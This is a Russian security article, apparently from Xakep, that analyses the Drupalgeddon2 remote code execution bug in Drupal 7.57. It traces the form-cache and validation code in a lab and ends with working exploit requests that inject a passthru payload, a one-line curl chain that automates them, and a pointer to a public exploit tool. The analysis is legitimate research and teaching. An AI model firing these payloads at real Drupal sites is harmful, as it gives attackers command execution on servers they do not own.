Хакер - Предпоследняя капля. Разбираем уязвимость Drupalgeddon2 в Drupal 7
Содержание статьи
Подготовка
Для демонстрации уязвимости проще всего использовать официальный репозиторий Drupal на Docker Hub. Разворачиваем контейнер с нужной версией CMS. Сначала поднимаем сервер БД.
$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="7C4TYVARsy" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server
Теперь дело за контейнером с CMS. В этот раз берем самую старую уязвимую версию — 7.57.
$ docker run -d --rm -p80:80 -p9000:9000 --link=mysql --name=drupalvh --hostname=drupalvh drupal:7.57
Теперь через веб-интерфейс устанавливаем Drupal и проверяем, все ли у нас работает.
Установка Drupal 7.57Еще неплохо было бы завести отладчик. Для этого я дополнительно установлю расширение Xdebug.
$ pecl install xdebug
$ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ service apache2 reload
Не забудь поменять IP-адрес 192.168.99.1 на свой и обрати внимание на путь до скомпиленной библиотеки xdebug.so. После перезагрузки конфигов Apache можешь запускать свой любимый дебаггер. В работе я по-прежнему использую PhpStorm и расширение Xdebug helper для Chrome.
Теперь скачиваем исходники CMS, слушаем 9000-й порт — и вперед, к победам.
Первые шаги
Перейдем на страницу создания нового аккаунта. В седьмой версии она значительно аскетичнее, чем в восьмой.
Создание нового аккаунта в Drupal 7
Создание нового аккаунта в Drupal 8Из-за того, что отсутствует возможность загрузить аватар, стандартный вектор эксплуатации тут не сработает. Значит, нужно найти новый! Суть бага все та же — это внедрение элементов в Renderable Arrays, которые будут обработаны с помощью Render API. Существуют специальные элементы, которые вызывают функцию call_user_func с кастомными параметрами.
Для начала посмотрим, как обрабатываются роуты в приложении. Если у тебя на сервере включены семантические URL, то URI перенаправляются на файл index.php как GET-параметр q.
/index.php
19: require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
20: drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
21: menu_execute_active_handler();
/includes/menu.inc
510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
...
521: if ($page_callback_result == MENU_SITE_ONLINE) {
522: if ($router_item = menu_get_item($path)) {
Например, для отображения страницы http://drupal.vh/user/register будет выполнен запрос http://drupal.vh/index.php?q=user/register.
Обработка роутов в Drupal 7/includes/menu.inc
455: function menu_get_item($path = NULL, $router_item = NULL) {
456: $router_items = &drupal_static(__FUNCTION__);
457: if (!isset($path)) {
458: $path = $_GET['q'];
459: }
460: if (isset($router_item)) {
461: $router_items[$path] = $router_item;
462: }
Далее путь разбивается при помощи функции array_slice и выполняется запрос к базе данных для выборки путей из таблицы с роутами. По умолчанию menu_router.
473: $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
474: $ancestors = menu_get_ancestors($parts);
475: $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();
В таблице хранятся колбэки, которые нужно выполнять при обращении к соответствующим путям.
Таблица с информацией о существующих роутах и их параметрахЕсли путь и соответствующий ему колбэк найден, то он вызывается через функцию call_user_func_array.
510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
...
518: drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
...
519:
520: // Only continue if the site status is not set
521: if ($page_callback_result == MENU_SITE_ONLINE) {
522: if ($router_item = menu_get_item($path)) {
523: if ($router_item['access']) {
...
527: $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
Как ты, возможно, знаешь из моего разбора уязвимости в Drupal 8, существует метод uploadAjaxCallback. Он давал возможность выполнять рендеринг вложенного массива с пользовательскими данными. Так вот, в седьмой версии есть похожая функция — file_ajax_upload. Она тоже отвечает за обработку файлов, загруженных с помощью AJAX-запросов, и в ней есть место, где массив с нужными данными отправляется на рендеринг.
/modules/file/file.module
238: function file_ajax_upload() {
239: $form_parents = func_get_args();
240: $form_build_id = (string) array_pop($form_parents);
241:
242: if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {
...
250: list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
...
268: drupal_process_form($form['#form_id'], $form, $form_state);
...
285: $output = drupal_render($form);
Теперь посмотрим, запросы к каким путям используют эту функцию в качестве колбэка.
mysql> select path,page_callback from menu_router where page_callback='file_ajax_upload';+-----------+------------------+
| path | page_callback |
+-----------+------------------+
| file/ajax | file_ajax_upload |
+-----------+------------------+
1 row in set (0.00 sec)
Попробуем сделать его вызов, набрав http://drupal.vh/file/ajax/test/test.
Отладка запроса к роуту file/ajaxВалидный запрос имеет вид http://drupal.vh/file/ajax/имя_элемента/ключ/id_формы, где имя элемента и ключ — это путь до массива, который нужно отрендерить. В запросе также должен указываться параметр form_build_id, который соответствует id обрабатываемой формы.
242: if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {
Сама форма извлекается из кеша с помощью функции ajax_get_form. AJAX подразумевает фоновое выполнение и отправку запросов с уже загруженной браузером страницы. При обработке с помощью ajax_get_form Drupal считает, что в кеше уже должна находиться форма, для которой происходит изменение или обновление содержимого. Если это не так, то скрипт просто остановит работу.
250: list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
/includes/ajax.inc
322: function ajax_get_form() {
...
323: $form_state = form_state_defaults();
324:
325: $form_build_id = $_POST['form_build_id'];
...
328: $form = form_get_cache($form_build_id, $form_state);
329: if (!$form) {
...
335: watchdog('ajax', 'Invalid form POST data.', array(), WATCHDOG_WARNING);
336: drupal_exit();
337: }
Наша задача — записать в кеш форму с пейлоадом, а потом с помощью запроса к file/ajaxвызвать рендеринг этой формы.
Манипуляции с кешем
Итак, посмотрим на любую форму, доступную без авторизации, — например, сброс пароля пользователя. Она хороша тем, что позволяет записывать произвольные пользовательские данные в параметр #default_value.
/modules/user/user.pages.inc
30: function user_pass() {
31: global $user;
32:
33: $form['name'] = array(
34: '#type' => 'textfield',
35: '#title' => t('Username or e-mail address'),
36: '#size' => 60,
37: '#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
38: '#required' => TRUE,
39: '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
40: );
...
60: return $form;
Запрос к форме сброса пароля пользователяС помощью этой формы мы можем передать RCE-пейлоад типа такого:
#post_render[]=exec&#children=ls
Но вот беда: при передаче невалидных данных в качестве имени форма не кешируется. Полистав код, обнаруживаем, что метод form_set_cache записывает информацию об указанной форме в кеш.
/includes/form.inc
557: function form_set_cache($form_build_id, $form, $form_state) {
558: // 6 hours cache life time for forms should be plenty.
559: $expire = 21600;
...
571: if (isset($form)) {
...
576: cache_set('form_' . $form_build_id, $form, 'cache_form', REQUEST_TIME + $expire);
577: }
Вызов этого метода происходит в drupal_rebuild_form.
464: function drupal_rebuild_form($form_id, &$form_state, $old_form = NULL) {
465: $form = drupal_retrieve_form($form_id, $form_state);
...
502: if (empty($form_state['no_cache'])) {
503: form_set_cache($form['#build_id'], $form, $form_state);
504: }
Эта функция вызывается из drupal_process_form, которая используется при обработке любой формы.
865: function drupal_process_form($form_id, &$form, &$form_state) {
В ней же имеются и условия, при соблюдении которых форма попадает в кеш.
969: if (($form_state['rebuild'] || !$form_state['executed']) && !form_get_errors()) {
970: // Form building functions (e. g., _form_builder_handle_input_element())
971: // may use $form_state['rebuild'] to determine if they are running in the
972: // context of a rebuild, so ensure it is set
973: $form_state['rebuild'] = TRUE;
974: $form = drupal_rebuild_form($form_id, $form_state, $form);
975: }
Первая часть условия ($form_state['rebuild'] || !$form_state['executed'])почти на любой дефолтной форме будет TRUE, а вот с form_get_errors есть проблемы. Эта функция проверяет, валидны ли введенные в форму данные.
1676: function form_get_errors() {
1677: $form = form_set_error();
1678: if (!empty($form)) {
1679: return $form;
1680: }
1681: }
Наши, к сожалению, никаких проверок не выдерживают, и мы ловим ошибку вида Username or e-mail address field is required.
Валидатор введенных в форму данных вернул ошибкуПосмотрим поближе на функцию form_set_error.
1623: function form_set_error($name = NULL, $message = '', $limit_validation_errors = NULL) {
1624: $form = &drupal_static(__FUNCTION__, array());
1625: $sections = &drupal_static(__FUNCTION__ . ':limit_validation_errors');
...
1630: if (isset($name) && !isset($form[$name])) {
1631: $record = TRUE;
1632: if (isset($sections)) {
...
1640: $record = FALSE;
...
1654: }
1655: if ($record) {
1656: $form[$name] = $message;
1657: if ($message) {
1658: drupal_set_message($message, 'error');
1659: }
1660: }
Обрати внимание на переменную $record: если она установлена в FALSE, то сообщение об ошибке не будет выводиться. Значение FALSE она принимает, когда $sections — не null.
1626: if (isset($limit_validation_errors)) {
1627: $sections = $limit_validation_errors;
1628: }
Еще немного побегав по файлу form.inc, натыкаемся на такой кусок:
1412: if (isset($form_state['triggering_element']['#limit_validation_errors']) && ($form_state['triggering_element']['#limit_validation_errors'] !== FALSE) && !($form_state['submitted'] && !isset($form_state['triggering_element']['#submit']))) {
1413: form_set_error(NULL, '', $form_state['triggering_element']['#limit_validation_errors']);
1414: }
...
1423: elseif (isset($form_state['triggering_element']) && !isset($form_state['triggering_element']['#limit_validation_errors']) && !$form_state['submitted']) {
1424: form_set_error(NULL, '', array());
1425: }
...
1430: else {
1431: drupal_static_reset('form_set_error:limit_validation_errors');
1432: }
Во время обработки нашего POST-запроса мы попадаем в последнюю ветку условия, но если удастся попасть во вторую, то сообщения об ошибке не будет. Потому что в качестве третьего аргумента функции form_set_error ($limit_validation_errors) отправляется пустой массив, который впоследствии станет переменной $sections.
Разберем нужное нам условие по частям.
isset($form_state['triggering_element'])возвращаетtrue. Ключ triggering_element указывает на элемент, который вызвал обработку формы. В нашем случае это кнопка E-mail new password.!isset($form_state['triggering_element']['#limit_validation_errors'])возвращаетfalse. Этот ключ указывает, ограничивать вывод ошибок валидации или нет. По дефолту не ограничено, поэтому ключlimit_validation_errorsбудет содержатьfalse.!$form_state['submitted']также возвращаетfalse. Так как форма отправлена, ключsubmittedустановлен вtrue.
Отладка запроса на сброс пароля. Условия, нужные для сокрытия ошибок валидацииПосмотрим, в каком месте изменяется значение ключа submitted переменной $form_state.
1987: if (!empty($form_state['triggering_element']['#executes_submit_callback'])) {
1988: $form_state['submitted'] = TRUE;
1989: }
Откуда вообще берется этот triggering_element? Если он не указан явно, то элементом считается первая нажатая кнопка в форме.
2142: if ($process_input) {
...
2144: if (_form_element_triggered_scripted_submission($element, $form_state)) {
2145: $form_state['triggering_element'] = $element;
2146: }
...
2151: if (isset($element['#button_type'])) {
...
2155: $form_state['buttons'][] = $element;
2156: if (_form_button_was_clicked($element, $form_state)) {
2157: $form_state['triggering_element'] = $element;
2158: }
2159: }
2160: }
Заглянем в функцию _form_element_triggered_scripted_submission.
2180: function _form_element_triggered_scripted_submission($element, &$form_state) {
2181: if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) {
2182: if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) {
2183: return TRUE;
2184: }
2185: }
2186: return FALSE;
2187: }
Этот код выполняет проверку, равны ли $form_state['input']['_triggering_element_name'] и $element['#name']. Массив $form_state['input']содержит все переданные в форме параметры. Таким образом, отправив _triggering_element_name с именем нужного элемента, можно вручную обозначить его элементом, спровоцировавшим отправку формы. Попробуем это сделать. Укажем в качестве _triggering_element_name имя текстбокса из нашей формы сброса пароля, а оригинальный сабмит (параметр op) передавать не будем, иначе он перезапишет кастомный triggering_element.
Назначение triggering_element с помощью параметра _triggering_element_nameДействительно, после такого финта мы имеем в $form_state['triggering_element']наш текстбокс.
Успешно переназначили triggering_elementПомимо того что этот элемент не имеет параметра #executes_submit_callback, в нем также отсутствует #limit_validation_errors, а это значит, что мы убили сразу двух зайцев и теперь условие на отключение ошибок валидации отрабатывает успешно.
Успешный обход вывода ошибок валидации формыТеперь эта форма попадает в кеш, то есть в таблицу cache_form базы данных.
Форма попала в кешИдентификатор формы возвращается в ответе сервера в виде скрытого поля form_build_id.
Эксплоит
Собираем всю полученную информацию вместе. Эксплуатация производится в два запроса. Сначала отправляем форму с нужным пейлоадом в кеш, а затем вторым запросом к file/ajax дергаем ее оттуда и триггерим уязвимость.
Первый запрос будет выглядеть так:
POST /user/password?name[%23post_render][]=passthru&name[%23children]=ls HTTP/1.1
Host: drupal.vh
Content-Type: application/x-www-form-urlencoded
_triggering_element_name=name&form_id=user_pass
Обрати внимание, что значение (default_value) для параметра name берется из массива $_GET, поэтому запрос выглядит именно так.
/modules/user/user.pages.inc
30: function user_pass() {
...
39: '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
Смотрим ID, который вернула система, и подставляем его во второй запрос.
POST /file/ajax/name/%23default_value/form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg HTTP/1.1
Host: drupal.vh
Content-Type: application/x-www-form-urlencoded
form_build_id=form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg
Успешная эксплуатация Drupal 7Выкидываем лишнее и объединяем все в одну команду.
$ curl -s --globof "http://drupal.vh/user/password?name[%23post_render][]=passthru&name[%23children]=ls" --data "_triggering_element_name=name&form_id=user_pass"|grep form_build_id|awk -F'"' '{print $6}'|xargs -I^ curl -s "http://drupal.vh/file/ajax/name/%23default_value/^" --data "form_build_id=^"
Вот так в одну строчку можно проэксплуатировать уязвимость в Drupal 7. Возможно, ты найдешь способ сделать это еще элегантнее.
Эксплуатация для Drupal 7 с помощью curlРазумеется, существуют уже готовые инструменты для автоматической эксплуатации этой уязвимости. Если интересно, то рекомендую обратить внимание на репозиторий github.com/dreadlocked/Drupalgeddon2.
Выводы
Ну что тут можно сказать? Злоумышленники не дремлют, число атак постоянно растет, и по Сети уже рыщут самые разные сканеры в надежде превратить любой попавшийся под руку уязвимый сервер в майнер криптовалюты, сделать его частью ботнета или отправной точкой для сотни других возможных темных делишек. Так что бегом обновляться, если у тебя где-то установлен Drupal не последней версии.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei